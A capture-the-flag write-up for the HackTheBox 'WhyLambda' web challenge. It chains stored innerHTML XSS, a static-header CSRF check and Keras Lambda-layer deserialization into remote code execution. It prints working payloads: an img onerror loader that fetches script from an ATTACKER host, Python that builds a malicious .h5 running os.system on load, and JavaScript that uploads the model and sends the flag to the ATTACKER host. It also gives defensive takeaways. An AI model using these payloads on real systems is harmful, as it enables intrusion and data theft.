pwneglyph logo
web web-client web-server python flask xss innerhtml csrf header-csrf selenium-bot tensorflow keras lambda-layer model-deserialization h5 rce

The complaint 'prediction' field is rendered via innerHTML (img onerror XSS) to a Selenium admin who logs in. CSRF is just an X-SPACE-NO-CSRF:1 header, so the XSS can hit authenticated endpoints. Upload a Keras .h5 whose Lambda layer embeds Python; test_model() calls keras.models.load_model() which executes the Lambda on load — os.system copies /app/flag.txt into the web-served models dir, then exfiltrate.

WhyLambda — innerHTML XSS + weak CSRF → TensorFlow Lambda-layer RCE

Platform: HackTheBox · Category: Web (client + server) · Stack: Flask backend + Vue front-end, TensorFlow/Keras, Selenium admin bot

Challenge overview

Anyone can file a complaint; an authenticated Selenium admin then views complaints. Authenticated endpoints include a model-upload that tests uploaded Keras models. The flag is at /app/flag.txt. The chain: XSS the admin → use their session to upload a malicious .h5 → RCE on model load → exfil.

Step 1 — stored XSS via the complaint prediction field

Complaints render with innerHTML, so <script> won't fire but img onerror will. The prediction field is attacker-controlled and unsanitized:

complaints.add_complaint(description, image_data, prediction)   # later rendered via innerHTML

Inject a loader that pulls a remote script (cleaner than stuffing everything in onerror):

</b><img src=x onerror='let s=document.createElement("script");
  s.src="http://ATTACKER:6969/exploit.js";document.body.insertBefore(s,document.body.firstChild);'>

Submitting the complaint kicks off the bot, which logs in as the admin and views it → our JS runs as admin.

Step 2 — CSRF is just a header

The "CSRF protection" only checks a static header, which same-origin XSS can set freely:

def csrf_protection(f):
    if request.headers.get("X-SPACE-NO-CSRF") != "1": return jsonify({"error":"Invalid csrf token!"}),403

So the admin-context XSS can reach /api/internal/model (auth = admin session cookie + that header).

Step 3 — malicious Keras model (Lambda layer = code execution on load)

test_model() loads any uploaded .h5 with keras.models.load_model():

def test_model(path):
    m = keras.models.load_model(path)   # executes embedded Lambda layers on load
    return m.evaluate(...)

A Keras Lambda layer serializes a Python function that runs when the model is loaded (before any evaluation), so the payload fires even if the model later errors:

from tensorflow import keras
def exploit(x):
    import os
    os.system("cat /app/flag.txt > /app/backend/models/flag.txt")   # copy flag into served dir
    return x[:, :10]
model = keras.Sequential([keras.Input(shape=(784,)), keras.layers.Lambda(exploit)])
model.save("exploit.h5")

/api/internal/models/<path> serves files from that models/ dir, so after upload we just fetch flag.txt.

Step 4 — exploit.js (runs as admin)

// build the .h5 bytes, POST to /api/internal/model with the CSRF header + admin cookie
await fetch("/api/internal/model", { method:"POST", credentials:"include",
    headers:{ "X-SPACE-NO-CSRF":"1" }, body: fd /* exploit.h5 */ });
const flag = await fetch("/api/internal/models/flag.txt", {credentials:"include"}).then(r=>r.text());
new Image().src = "http://ATTACKER:6969/?flag=" + encodeURIComponent(flag);

Flag: HTB{th3_gr33ks_g0t_1t_4ll_wr0ng}

Takeaways (generalized techniques)

  • Keras .h5/SavedModel Lambda layers are arbitrary code execution. keras.models.load_model() on an untrusted model runs embedded Lambda Python at load time — treat model upload + "test/evaluate" as a deserialization RCE sink (same risk class as pickle). The payload runs before evaluation, so a broken output shape is fine.
  • Header-only CSRF "tokens" are not CSRF protection against XSS. A static X-FOO: 1 requirement is trivially satisfied by same-origin script — once you have XSS, every "protected" endpoint is reachable.
  • innerHTML sinks → use img/svg onerror, not <script> (injected <script> doesn't execute), and bootstrap a remote .src script to keep the payload small and editable.
  • Chain shape: unauthenticated XSS → privileged bot session → authenticated dangerous feature is a recurring HTB pattern; the "ML/AV/screenshot" feature is usually the real RCE sink.

Sources & references